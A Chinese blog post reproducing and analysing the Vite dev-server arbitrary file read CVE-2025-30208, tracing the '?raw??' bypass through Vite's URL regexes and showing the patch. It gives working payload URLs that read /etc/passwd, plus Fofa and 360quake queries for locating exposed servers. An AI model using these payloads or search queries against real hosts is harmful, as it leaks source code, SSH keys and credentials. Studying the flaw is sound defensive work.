Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-30208)

初步了解

Vite 是一款现代化的前端开发构建工具,它提供了快速的开发服务器和高效的构建能力,广泛应用于 Vue.js 项目的开发过程中。
由于 Vite 开发服务器在处理特定 URL 请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护机制,非法访问项目根目录外的敏感文件。攻击者只需在浏览器输入一个 URL,就可能会造成源码、SSH密钥、数据库账号、用户数据等目标机器上的任意文件信息泄露。

影响版本:

6.2.0 <= Vite <= 6.2.2

6.1.0 <= Vite <= 6.1.1

6.0.0 <= Vite <= 6.0.11

5.0.0 <= Vite <= 5.4.14

Vite <= 4.5.9

其实2021年4月就有人第一次给Vite提交了@fs导致的文件读取漏洞(CNVD-2022-4461),当时的payload就是:/@fs/etc/passwd

后来官方修复了这个漏洞,直到最近补丁被绕过。使用这个payload来绕过:/@fs/etc/passwd?raw??

Fofa搜索语句:

1
body="/@vite/client"

亲测,几乎所有网站都有洞!!!

360quake搜索语句:

1
body:"/@vite/client"

环境搭建

这里的环境我们直接用p神的vulhub漏洞环境。

https://github.com/vulhub/vulhub/tree/master/vite

漏洞复现

payload:以下两个payload都是可以的。

1
2
http://192.168.79.128:5173/@fs/etc/passwd?raw??          只能读无后缀文件
http://192.168.79.128:5173/@fs/etc/passwd?import&raw?? 用这个比较好,可以读有后缀的文件

漏洞分析

@fs拒绝访问 Vite 服务允许列表之外的文件。将?raw???import&raw??添加到 URL 可绕过此限制并返回文件内容(如果存在)。之所以存在这种绕过,是因为?在多个地方删除了尾随分隔符(例如),但在查询字符串正则表达式中没有考虑到这一点。

主要修补点:https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1#diff-6d94d6934079a4f09596acc9d3f3d38ea426c6f8e98cd766567335d42679ca7cL43-R188

packages/vite/src/node/server/middlewares/transform.ts

官方的commit其实就是加了个正则,同时在之后进行了替换

使用正则/[?&]+$/替换成空值,将url地址最后的连续的&或者?替换成空。

这里我们先看看6.2.2版本(漏洞版本)的rawRE和urlRE

1
2
export const urlRE = /(\?|&)url(?:&|$)/
export const rawRE = /(\?|&)raw(?:&|$)/

通过正则匹配进行判断是否属于raw或者url类型的。满足任意一个就会使用ensureServingAccess函数进行鉴权。比如rawRe的正则为:export const rawRE = /(\?|&)raw(?:&|$)/

匹配要求raw参数结束或者raw&。结合官方的修复方案这里使用的是?raw?进行绕过,但是在这个函数开头有一部分代码

1
2
3
4
5
6
7
8
try {
url = decodeURI(removeTimestampQuery(req.url!)).replace(
NULL_BYTE_PLACEHOLDER,
'\0',
)
} catch (e) {
return next(e)
}

这里我们跟进一下removeTimestampQuery函数

1
2
3
4
5
6
const trailingSeparatorRE = /[?&]$/    //匹配最后一位?或者&的字符,并替换为空
const timestampRE = /\bt=\d{13}&?\b/ //匹配13位的数字,并替换为空const

export function removeTimestampQuery(url: string): string {
return url.replace(timestampRE, '').replace(trailingSeparatorRE, '')
}

这会删除最后一位的?,因此payload就是?raw??

很明显,这里只替换了一次为空?或者&,故url由

/@fs/tmp/test.txt?import&raw?? 替换成了

/@fs/tmp/test.txt?import&raw?

然后我们跟着代码往下走,会走到如下代码:

1
2
3
4
5
6
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}

此处需要rawRE.test(url)和urlRE.test(url)都会false才不会进入ensureServingAccess进行鉴权。

然后就是通过import参数进入if条件判断。并调用removeImportQuery清除import参数的函数。

然后我们再两者都为false的前提下往下走:

接 下 来 会 依 次 判 断 isJSRequest , isImportRequest , isCSSRequest , isHTMLProxy。

1
2
3
4
5
6
7
8
9
10
11
12
const knownJsSrcRE =
/\.(?:[jt]sx?|m[jt]s|vue|marko|svelte|astro|imba|mdx)(?:$|\?)/
export const isJSRequest = (url: string): boolean => {
url = cleanUrl(url)
if (knownJsSrcRE.test(url)) {
return true
}
if (!path.extname(url) && url[url.length - 1] !== '/') {
return true
}
return false
}
1
2
const importQueryRE = /(\?|&)import=?(?:&|$)/
export const isImportRequest = (url: string): boolean => importQueryRE.test(url)
1
2
3
4
export const CSS_LANGS_RE =
/\.(css|less|sass|scss|styl|stylus|pcss|postcss|sss)(?:$|\?)/
export const isCSSRequest = (request: string): boolean =>
CSS_LANGS_RE.test(request)
1
2
const isHtmlProxyRE = /\?html-proxy\b/
export const isHTMLProxy = (id: string): boolean => isHtmlProxyRE.test(id)

这里拿/@fs/etc/passwd?import&raw??来说,经过了一个removeTimestampQuery后会变成/@fs/etc/passwd?import&raw?

那就会在 isImportRequest处断言为真

但是此时我有一个疑问??

为什么**?raw??**这个payload也是可以的??上面的正则好像都匹配不上啊?

这里我们看下js的判断函数

if (!path.extname(url) && url[url.length - 1] !== ‘/‘) {
return true
}

如果没有文件拓展名且不以斜杠结尾,那么直接返回true

但是有限制,只能读取无后缀文件

经过上述这个if判断后,会进入if语句。那么遇到的就是removeImportQuery函数

1
2
3
4
5
6
const importQueryRE = /(\?|&)import=?(?:&|$)/
const trailingSeparatorRE = /[?&]$/

export function removeImportQuery(url: string): string {
return url.replace(importQueryRE, '$1').replace(trailingSeparatorRE, '')
}

在removeImportQuery函数中在清除掉import参数后,还将结尾的多余的?或者&给清除掉了。

随后进入到transformRequest中,此时/@fs/etc/passwd?raw

1
2
3
4
5
const cacheKey = `${options.html ? 'html:' : ''}${url}`
// 检查是否已经有相同的请求在进行中
const pending = environment._pendingRequests.get(cacheKey)
// 直接复用已有的请求,避免重复发送
if (pending) {

上述代码一般用于请求去重。

pending为空,然后就进入了doTransform函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
async function doTransform(
environment: DevEnvironment,
url: string,
options: TransformOptions,
timestamp: number,
) {
url = removeTimestampQuery(url)

const { pluginContainer } = environment

let module = await environment.moduleGraph.getModuleByUrl(url)
if (module) {
// try use cache from url
const cached = await getCachedTransformResult(
environment,
url,
module,
timestamp,
)
if (cached) return cached
}

const resolved = module
? undefined
: ((await pluginContainer.resolveId(url, undefined)) ?? undefined)

// resolve
const id = module?.id ?? resolved?.id ?? url

module ??= environment.moduleGraph.getModuleById(id)
if (module) {
// if a different url maps to an existing loaded id, make sure we relate this url to the id
await environment.moduleGraph._ensureEntryFromUrl(url, undefined, resolved)
// try use cache from id
const cached = await getCachedTransformResult(
environment,
url,
module,
timestamp,
)
if (cached) return cached
}

const result = loadAndTransform(
environment,
id,
url,
options,
timestamp,
module,
resolved,
)

const { depsOptimizer } = environment
if (!depsOptimizer?.isOptimizedDepFile(id)) {
environment._registerRequestProcessing(id, () => result)
}

return result
}

转换为module,得到磁盘中的filePath。

接下来将文件内容写入到cache然后返回到result中。

1
2
3
4
5
6
7
8
9
10
const request = doTransform(environment, url, options, timestamp)

// Cache the request and clear it once processing is done
environment._pendingRequests.set(cacheKey, {
request,
timestamp,
abort: clearCache,
})

return request.finally(clearCache)

最后在界面产生响应。

看看6.2.4版本(新版本)的rawRE和urlRE,这里还多了个inlineRE

1
2
3
4
const urlRE = /[?&]url\b/
const rawRE = /[?&]raw\b/
const inlineRE = /[?&]inline\b/
const trailingQuerySeparatorsRE = /[?&]+$/

引入了一个正则表达式/[?&]+$/来匹配连续的?和&,这段代码用于清除url末尾的多问号

这里就修补了上述漏洞!

参考文章:

https://forum.butian.net/index.php/article/681

https://www.xaitx.com/tech/2025-03-26.html